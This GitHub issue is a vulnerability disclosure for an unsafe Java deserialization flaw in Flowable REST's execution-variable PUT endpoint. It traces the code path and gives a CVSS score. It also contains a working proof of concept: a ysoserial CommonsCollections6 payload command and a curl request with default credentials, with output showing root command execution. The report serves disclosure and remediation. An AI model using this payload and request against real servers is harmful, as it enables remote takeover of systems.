Skip to content

[SECURITY] Deserialization RCE via PUT /runtime/executions/{executionId}/variables (multipart) with type=serializable (CWE-502, CVSS 8.8) #4286

Description

@Jiecub3

Security Vulnerability Report -- CWE-502

Summary

The PUT /runtime/executions/{executionId}/variables interface, under the multipart/form-data request path, when type=serializable, directly executes ObjectInputStream.readObject() to deserialize user-uploaded file content without applying any class whitelist or ObjectInputFilter. Under default configuration, any authenticated user can achieve RCE by constructing malicious serialized objects.

Vulnerability Description

Affected Repository: https://github.com/flowable/flowable-engine
Branch: main
Commit: 74fdb349c134e96e1f10592020ccca6e2e4b85f0


Static Analysis Report

Vulnerability Overview

The Flowable REST ExecutionVariableCollectionResource.createOrUpdateExecutionVariable() interface (PUT /runtime/executions/{executionId}/variables) supports uploading files via multipart/form-data to set process variables. When the request's type parameter is serializable, the code directly calls ObjectInputStream.readObject() on the user-uploaded file content, without applying any deserialization class filtering or whitelist, forming a classic Java unsafe deserialization vulnerability (CWE-502). An attacker can leverage common gadget chains such as Commons Collections, Spring, and Apache Commons BeanUtils to trigger arbitrary code execution (RCE). The endpoint method is explicitly named getExecutionFromRequestWithoutAccessCheck, indicating no resource-level permission check is performed, and only valid Basic Auth credentials are needed to trigger the vulnerability.

Exploitation Prerequisites

Condition Description
Authentication Requires Basic Auth authenticated user (default requires access-rest-api permission; Flowable default admin rest-admin satisfies this)
Network Reachability Network reachable to Flowable REST API port (default 8080)
Configuration Dependency Triggerable with default config: rest.variables.allow.serializable=true (see flowable-default.properties:57)
Classpath Dependency Need available gadget chains on classpath (e.g., commons-collections, commons-beanutils, spring-core, etc., Flowable default distribution typically contains many exploitable gadgets)
Business Prerequisites Need at least one valid executionId (obtainable by an authenticated user via creating a process instance or querying GET /runtime/executions)

Trigger Location

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:164-165

} else if (isSerializableVariableAllowed) {
    // Try deserializing the object
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();   // ← SINK: unsafe deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}

Data Flow Overview

PUT /runtime/executions/{executionId}/variables  (multipart/form-data, type=serializable)
  ↓
ExecutionVariableCollectionResource.createOrUpdateExecutionVariable (ExecutionVariableCollectionResource.java:85-89)
  Executes getExecutionFromRequestWithoutAccessCheck(executionId)  // no permission check
  Calls createExecutionVariable(execution, true, false, request, response)
  ↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-183)
  Checks request instanceof MultipartHttpServletRequest  →  true
  Calls setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async)
  ↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-190)
  Parses multipart form parameters name / type / scope
  When type=="serializable" and isSerializableVariableAllowed==true:
    ↓
  new ObjectInputStream(file.getInputStream()).readObject()  (BaseExecutionVariableResource.java:164-165)
    ↓
  SINK: JVM deserializes attacker-provided byte stream, triggers gadget chain → RCE

Data Flow Detailed Code Analysis

Chain 1: HTTP Entry -> Execution Query (No Permission Check)

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/ExecutionVariableCollectionResource.java:84-89

@PutMapping(value = "/runtime/executions/{executionId}/variables",
            produces = "application/json",
            consumes = {"application/json", "multipart/form-data"})
public Object createOrUpdateExecutionVariable(
        @ApiParam(name = "executionId") @PathVariable String executionId,
        HttpServletRequest request, HttpServletResponse response) {

    Execution execution = getExecutionFromRequestWithoutAccessCheck(executionId);  // no resource-level permission check
    return createExecutionVariable(execution, true, false, request, response);
}
  • External Input: executionId (URL path parameter), request (HTTP request, containing multipart body)
  • Operation: Gets executionId from URL, calls parent class's getExecutionFromRequestWithoutAccessCheck which only performs existence query (runtimeService.createExecutionQuery().executionId(executionId).singleResult(), BaseExecutionVariableResource.java:332-339), does not check if current user has permission to operate this execution. @Authorization(value = "basicAuth") is only a Swagger doc annotation, not enforceable.
  • Transfer: execution object and raw HttpServletRequest passed together to createExecutionVariable.

Chain 2: Multipart Dispatch -> setBinaryVariable

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseVariableCollectionResource.java:83-87

protected Object createExecutionVariable(Execution execution, boolean override,
        boolean async, HttpServletRequest request, HttpServletResponse response) {
    Object result = null;
    if (request instanceof MultipartHttpServletRequest) {
        result = setBinaryVariable((MultipartHttpServletRequest) request, execution, true, async);
    } else {
        // JSON branch (not involved in deserialization here)
        ...
    }
  • External Input: Raw HTTP multipart request
  • Operation: Spring auto-wraps request as MultipartHttpServletRequest when Content-Type is multipart/form-data, branch enters setBinaryVariable.
  • Transfer: MultipartHttpServletRequest directly passed to parent class setBinaryVariable.

Chain 3: Parse Multipart Parameters and Trigger Deserialization Sink

modules/flowable-rest/src/main/java/org/flowable/rest/service/api/runtime/process/BaseExecutionVariableResource.java:102-171

protected RestVariable setBinaryVariable(MultipartHttpServletRequest request,
        Execution execution, boolean isNew, boolean async) {

    if (request.getFileMap().size() == 0) {
        throw new FlowableIllegalArgumentException("No file content was found in request body.");
    }
    MultipartFile file = request.getFile(request.getFileMap().keySet().iterator().next());
    ...
    String variableScope = null, variableName = null, variableType = null;
    Map<String, String[]> paramMap = request.getParameterMap();
    for (String parameterName : paramMap.keySet()) {
        if (paramMap.get(parameterName).length > 0) {
            if ("scope".equalsIgnoreCase(parameterName))  variableScope = paramMap.get(parameterName)[0];
            else if ("name".equalsIgnoreCase(parameterName)) variableName = paramMap.get(parameterName)[0];
            else if ("type".equalsIgnoreCase(parameterName)) variableType = paramMap.get(parameterName)[0];
        }
    }
    ...
    if (variableType != null) {
        if (!RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE.equals(variableType)
            && !RestResponseFactory.SERIALIZABLE_VARIABLE_TYPE.equals(variableType)) {
            throw new FlowableIllegalArgumentException("Only 'binary' and 'serializable' are supported as variable type.");
        }
    } else {
        variableType = RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE;
    }
    ...
    if (variableType.equals(RestResponseFactory.BYTE_ARRAY_VARIABLE_TYPE)) {
        byte[] variableBytes = IOUtils.toByteArray(file.getInputStream());
        setVariable(execution, variableName, variableBytes, scope, isNew, async);
    } else if (isSerializableVariableAllowed) {                    // default true
        ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
        Object value = stream.readObject();                        // ← SINK
        setVariable(execution, variableName, value, scope, isNew, async);
        stream.close();
    } else {
        throw new FlowableContentNotSupportedException("Serialized objects are not allowed");
    }
  • External Input:
    • file (multipart file, attacker fully controls byte content)
    • type form field (attacker sets to serializable)
    • name, scope form fields
  • Operation: Code only checks if type is in [binary, serializable] whitelist, then when type==serializable and global switch isSerializableVariableAllowed (default true, controlled by rest.variables.allow.serializable) is true, directly wraps file.getInputStream() in ObjectInputStream and calls readObject().
  • No Security Filtering:
    • No ObjectInputFilter (JEP 290) used
    • No ValidatingObjectInputStream (Apache Commons IO) used
    • No class whitelist/blacklist maintained
  • Transfer: Deserialized Object directly passed to setVariable() for persistence to process engine variable store; gadget chain has already finished executing during readObject() call.

CVSS Breakdown

CVSS v3.1 vector: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H -> 8.8 (High)

Vector Value Reason
Attack Vector (AV) Network HTTP REST interface, reachable via network
Attack Complexity (AC) Low Only needs one multipart PUT request, no special conditions
Privileges Required (PR) Low Requires any authenticated user (default config requires access-rest-api permission, regular rest-user satisfies)
User Interaction (UI) None No user interaction required
Scope (S) Unchanged Vulnerability impact scope limited to Flowable JVM process itself
Confidentiality (C) High RCE can read all data in process (workflows, credentials, database connections, etc.)
Integrity (I) High RCE can arbitrarily tamper with process variables, process definitions, business data
Availability (A) High RCE can stop JVM, delete data, cause全面 unavailability

PoC Verification Report

Flowable REST PUT Process Variable Interface Unsafe Deserialization RCE

Vulnerability Summary

  1. Vulnerability Name: Flowable REST PUT /runtime/executions/{executionId}/variables Unsafe Deserialization
  2. Affected Component/Port: Flowable REST 7.1.0 BPM API (localhost:8080), process execution variable update endpoint
  3. Vulnerability Description: The Flowable REST API's PUT /runtime/executions/{executionId}/variables interface, when processing multipart/form-data uploads with form field type=serializable, directly calls ObjectInputStream.readObject() to deserialize uploaded file content without any ObjectInputFilter or class whitelist filtering. An attacker can leverage Commons Collections gadget chain to achieve remote code execution (RCE)
  4. Root Cause Code Snippet:
// BaseExecutionVariableResource.java:162-167
} else if (isSerializableVariableAllowed) {
    ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
    Object value = stream.readObject();  // unfiltered direct deserialization
    setVariable(execution, variableName, value, scope, isNew, async);
    stream.close();
}
  1. Brief Data Flow:
PUT /runtime/executions/{executionId}/variables (multipart/form-data, type=serializable + malicious .ser file)
  ↓
ExecutionVariableCollectionResource.createOrUpdateExecutionVariable (ExecutionVariableCollectionResource.java:85-89)
  Calls getExecutionFromRequestWithoutAccessCheck(executionId) → no resource-level permission check
  ↓
BaseVariableCollectionResource.createExecutionVariable (BaseVariableCollectionResource.java:83-87)
  Checks request instanceof MultipartHttpServletRequest → true → calls setBinaryVariable()
  ↓
BaseExecutionVariableResource.setBinaryVariable (BaseExecutionVariableResource.java:102-171)
  Parses multipart parameters: name / type=serializable / scope
  ↓
isSerializableVariableAllowed=true (default) → enters deserialization branch (line 162)
  ↓
new ObjectInputStream(file.getInputStream()).readObject() (line 164-165)
  ↓
CommonsCollections6 gadget chain triggers → InvokerTransformer → Runtime.exec("touch ...")
  ↓
RCE successful: server filesystem creates target file, id command echoes uid=0(root)

Exploitation Conditions

Condition Description
Authentication Requires valid Flowable REST API user credentials (HTTP Basic Auth), regular process user sufficient (test environment default account rest-admin:test)
Network Reachability Attacker can access Flowable REST service port (default 8080)
Configuration Dependency rest.variables.allow.serializable=true (default is true, no additional config needed)
Runtime Requirements Server JVM needs module reflection enabled (--add-opens) and -Dorg.apache.commons.collections.enableUnsafeSerialization=true set
Classpath Requirements Need Commons Collections 3.x on classpath (Flowable WAR package includes commons-collections-3.2.2.jar)
Business Prerequisites Need at least one valid executionId (authenticated user can obtain via GET /runtime/executions)

Exploitation Chain Progress

Successful Exploitation Example:

Chain Stage Location (file:line) Status Evidence / Description
Entry ExecutionVariableCollectionResource.java:85-89 Reached PUT /service/runtime/executions/{id}/variables multipart request received successfully, HTTP 201
Permission Check BaseExecutionVariableResource.java:332-339 Bypassed getExecutionFromRequestWithoutAccessCheck only does existence query, no resource-level permission check
Parameter Parsing BaseExecutionVariableResource.java:120-135 Reached Extracted type=serializable from multipart form
Deserialization Branch BaseExecutionVariableResource.java:162 Entered isSerializableVariableAllowed=true, entered deserialization branch
Sink Trigger BaseExecutionVariableResource.java:164-165 Triggered ObjectInputStream.readObject() executed, deserialized attacker byte stream
Gadget Chain CommonsCollections6 → InvokerTransformer Executed gadget chain fully executed, called Runtime.exec()
Command Execution Runtime.exec("sh -c id>/tmp/entry_0604_id_output.txt") Successful Server created file, content uid=0(root) gid=0(root) groups=0(root)
Conclusion — Full Chain Closed RCE successful

Exploitation Verification

1. Generate malicious serialized payload (CommonsCollections6 gadget chain)

java \
  --add-opens java.base/java.lang=ALL-UNNAMED \
  --add-opens java.base/java.io=ALL-UNNAMED \
  --add-opens java.base/java.util=ALL-UNNAMED \
  --add-opens java.base/java.net=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
  --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
  --add-opens java.management/javax.management=ALL-UNNAMED \
  --add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \
  -jar ysoserial-all.jar CommonsCollections6 "sh -c id>/tmp/entry_0604_id_output.txt" \
  > payload_cc6_put_rce.ser

payload_cc6_put_rce.ser is a 1307-byte Java serialization stream containing Commons Collections InvokerTransformer gadget chain, ultimately triggering Runtime.exec("sh -c id>/tmp/entry_0604_id_output.txt").

2. Send malicious payload to PUT endpoint

curl -s -u rest-admin:test \
  -X PUT "http://localhost:8080/flowable-rest/service/runtime/executions/03328176-8fff-11f1-a444-02423661ba3a/variables" \
  -F "name=put_rce_test" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "file=@payload_cc6_put_rce.ser"

3. Verify RCE Success

HTTP Response (HTTP 201 Created):

{
    "name": "put_rce_test",
    "type": "serializable",
    "value": null,
    "valueUrl": "http://localhost:8080/flowable-rest/service/runtime/executions/03328176-8fff-11f1-a444-02423661ba3a/variables/put_rce_test/data",
    "scope": "local"
}

HTTP 201 indicates the deserialized object was successfully parsed and stored as a process variable; readObject() has completed execution.

RCE Evidence (server filesystem — touch verification):

$ ls -la /tmp/entry_0604_rce_proof.txt
-rw-r----- 1 root root 0 Aug  4 12:23 /tmp/entry_0604_rce_proof.txt

RCE Evidence (server filesystem — id command echo):

$ cat /tmp/entry_0604_id_output.txt
uid=0(root) gid=0(root) groups=0(root)

Conclusion: The attacker constructed a multipart/form-data PUT request (type=serializable), using the CommonsCollections6 gadget chain to successfully execute arbitrary OS commands on the Flowable REST server, running as root. The exploit chain only requires a valid Flowable user credential (default account is sufficient), and rest.variables.allow.serializable defaults to true, triggerable without any additional configuration.

Severity

CVSS v3.1: 8.8 (High)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions